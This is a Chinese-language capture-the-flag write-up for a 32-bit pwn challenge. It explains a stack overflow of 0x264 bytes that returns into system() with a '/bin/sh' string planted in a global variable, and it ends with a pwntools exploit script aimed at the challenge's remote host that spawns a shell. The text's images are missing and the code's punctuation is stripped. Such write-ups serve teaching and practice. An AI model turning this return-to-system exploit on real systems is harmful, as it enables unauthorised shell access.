敦俑姆罩filechecksec:imagemain 函数imagehello 函数imagename 中可以保存字符串因此我们在 name 中输入 /bin/sh那么我们就可以利用变量 name 的内存地址得到 system(/bin/sh)从而得到shell。pwn 函数存在systemimage溢出大小为0x264image我本来在ROPgadget中找到了 sh 字符串但是一直无法成功得到shell之后查看才得知这个sh并不是单纯的 sh。草率了。但是不知道为什么 ciscn_2019_ne_5 可以跑通。求师傅指教。imageimageimagepayload加入main函数原因32位和64位的结构不同32位调用一个函数需要返回地址之后再调用其他的进行传参而且32位是用栈传递参数的而64为使用比如rdirsi等寄存器进行传参因此需要插入一个 main 函数作为返回地址。利用expfrom pwn import *#startr remote(61.147.171.35,63069)context.log_level debugelf ELF(./pwn)#params#system_addr 0x8048420system_addr elf.sym[system]main_addr elf.sym[main]name_addr elf.sym[name]#attackpayload ba*(0x264) p32(system_addr) p32(main_addr) p32(name_addr)r.sendlineafter(bname,b/bin/sh)r.sendline(payload)r.interactive()